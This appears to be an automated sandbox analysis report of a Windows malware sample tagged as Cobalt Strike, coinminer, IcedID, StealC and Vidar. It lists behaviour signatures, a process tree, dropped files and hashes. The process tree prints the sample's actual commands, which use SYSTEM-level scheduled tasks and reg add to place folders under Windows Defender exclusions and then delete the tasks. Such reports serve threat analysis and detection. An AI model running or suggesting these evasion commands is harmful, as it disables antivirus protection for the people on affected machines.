Analysis

  • max time kernel
    150s
  • max time network
    139s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    01/11/2026, 15:07

General

  • Target
    2026-11-01_41ff191a8d48ed25dabfeba2dafd55fd_cobalt-strike_coinminer_icedid_stealc_vidar.exe
  • Size 30.5MB
  • Sample261101-shjsssbs8x
  • SHA256 ad2dcd05a540d11bf1d2e7ccee3877082c0b83dbc86fc53ce700529064224963
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 6 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 4 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-11-01_41ff191a8d48ed25dabfeba2dafd55fd_cobalt-strike_coinminer_icedid_stealc_vidar.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-11-01_41ff191a8d48ed25dabfeba2dafd55fd_cobalt-strike_coinminer_icedid_stealc_vidar.exe"
    1⤵
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    PID:4624
  • C:\Users\Public\duLbPC\akua8Z.exe
    C:\Users\Public\duLbPC\akua8Z.exe
    1⤵
    • Checks computer location settings
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2396
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\duLbPC\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:2740
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\duLbPC\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:3148
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:4972
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:2272
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:6132
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:4416
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:5860
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:2104
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:1620
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:5068
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:5456
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:3116
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:5028
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:5168
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:5200
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:4936
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:3784
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:4104
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:4892
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:340
                      • C:\Users\Public\duLbPC\akua8Z.exe
                        "C:\Users\Public\duLbPC\akua8Z.exe"
                        1⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:4880
                      • C:\Windows\system32\cmd.exe
                        cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\duLbPC" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:3176
                        • C:\Windows\system32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\duLbPC" /t REG_DWORD /d 0 /f
                          2⤵
                          • Windows security bypass
                          PID:1276
                      • C:\Windows\system32\cmd.exe
                        cmd.exe
                        1⤵
                          PID:5432
                        • C:\Windows\system32\cmd.exe
                          cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:5096
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:5868
                        • C:\Windows\system32\cmd.exe
                          cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:5984
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:5680

                        Network

                              MITRE ATT&CK Enterprise v16

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                              Downloads

                              0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                              • Size 1KB
                              • SHA256 5d1c0aaef9dd2174a1d3a396714bfdcc6d830a780b6a3e1dd6138c404dd60cf9
                              • MD5 SHA1 SHA512 TLSH

                              B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                              • Size 1KB
                              • SHA256 b45b75a164d004ebb6acec6d19bb19f63b09a6da233560577f4afa0661ab387a
                              • MD5 SHA1 SHA512 TLSH

                              0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                              • Size 512B
                              • SHA256 9efd53ed7017fe08d65e024899c8594a3f3f4acff4506e09777a04392fe695fa
                              • MD5 SHA1 SHA512 TLSH

                              B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                              • Size 506B
                              • SHA256 41a0cbcff7786c76c68e7fa57dfb7e0b94e6a053c4e32a371b30845381fdae34
                              • MD5 SHA1 SHA512 TLSH

                              UxEnhance64.dll

                              • Path C:\Users\Public\duLbPC\UxEnhance64.dll
                              • Size 3.1MB
                              • SHA256 5eaa3db546921934d5477f971e4e987df85c6c6cea90b56ec390430674161075
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              adoresd.dat

                              • Path C:\Users\Public\duLbPC\adoresd.dat
                              • Size 4.8MB
                              • SHA256 9ca613669f7b50b436431c2d5ffb4cf82c33037f9489576c063797d93698e297
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              akua8Z.exe

                              • Path C:\Users\Public\duLbPC\akua8Z.exe
                              • Size 135KB
                              • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              msadox.tb

                              • Path C:\Users\Public\duLbPC\msadox.tb
                              • Size 8KB
                              • SHA256 da8eed8d5129513eaa302ffbc0660c9fe3c2dcbea50e6207e0c16e9892c2ca06
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              memory/2396-559-0x000001FFF6C70000-0x000001FFF6CBE000-memory.dmp

                              memory/2396-555-0x000001FFF5EA0000-0x000001FFF6777000-memory.dmp

                              memory/2396-596-0x000001FFF5EA0000-0x000001FFF6777000-memory.dmp

                              memory/2396-530-0x00007FFDF9130000-0x00007FFDF9132000-memory.dmp

                              memory/2396-536-0x000001FFF5EA0000-0x000001FFF6777000-memory.dmp

                              memory/2396-543-0x000001FFF5EA0000-0x000001FFF6777000-memory.dmp

                              memory/2396-545-0x000001FFF5EA0000-0x000001FFF6777000-memory.dmp

                              memory/2396-544-0x000001FFF5EA0000-0x000001FFF6777000-memory.dmp

                              memory/2396-538-0x00007FFDF9140000-0x00007FFDF9142000-memory.dmp

                              memory/2396-539-0x000001FFF5EA0000-0x000001FFF6777000-memory.dmp

                              memory/2396-546-0x000001FFF5EA0000-0x000001FFF6777000-memory.dmp

                              memory/2396-550-0x000001FFF5EA0000-0x000001FFF6777000-memory.dmp

                              memory/2396-563-0x000001FFF6D70000-0x000001FFF6DFA000-memory.dmp

                              memory/2396-562-0x000001FFF6D70000-0x000001FFF6DFA000-memory.dmp

                              memory/2396-561-0x000001FFF6D70000-0x000001FFF6DFA000-memory.dmp

                              memory/2396-560-0x000001FFF6D70000-0x000001FFF6DFA000-memory.dmp

                              memory/2396-531-0x00007FFDDC880000-0x00007FFDDCD9E000-memory.dmp

                              memory/2396-558-0x000001FFF5EA0000-0x000001FFF6777000-memory.dmp

                              memory/4624-0-0x0000000002560000-0x000000000256E000-memory.dmp

                              memory/4624-524-0x0000000002560000-0x000000000256E000-memory.dmp

                              memory/4624-504-0x00007FFDEDC50000-0x00007FFDEDC60000-memory.dmp

                              memory/4624-2-0x0000000002570000-0x000000000257C000-memory.dmp

                              memory/4624-1-0x0000000002560000-0x000000000256E000-memory.dmp

                              memory/4624-525-0x00007FFDEDC50000-0x00007FFDEDC60000-memory.dmp

                              memory/4880-589-0x000001BF58710000-0x000001BF58FE7000-memory.dmp

                              memory/4880-587-0x000001BF58710000-0x000001BF58FE7000-memory.dmp

                              memory/4880-580-0x000001BF58710000-0x000001BF58FE7000-memory.dmp

                              memory/4880-591-0x00007FFDF9130000-0x00007FFDF9132000-memory.dmp

                              memory/4880-590-0x000001BF58710000-0x000001BF58FE7000-memory.dmp

                              memory/4880-583-0x000001BF58710000-0x000001BF58FE7000-memory.dmp

                              memory/4880-582-0x00007FFDF9140000-0x00007FFDF9142000-memory.dmp

                              memory/4880-588-0x000001BF58710000-0x000001BF58FE7000-memory.dmp

                              memory/4880-577-0x00007FFDDC880000-0x00007FFDDCD9E000-memory.dmp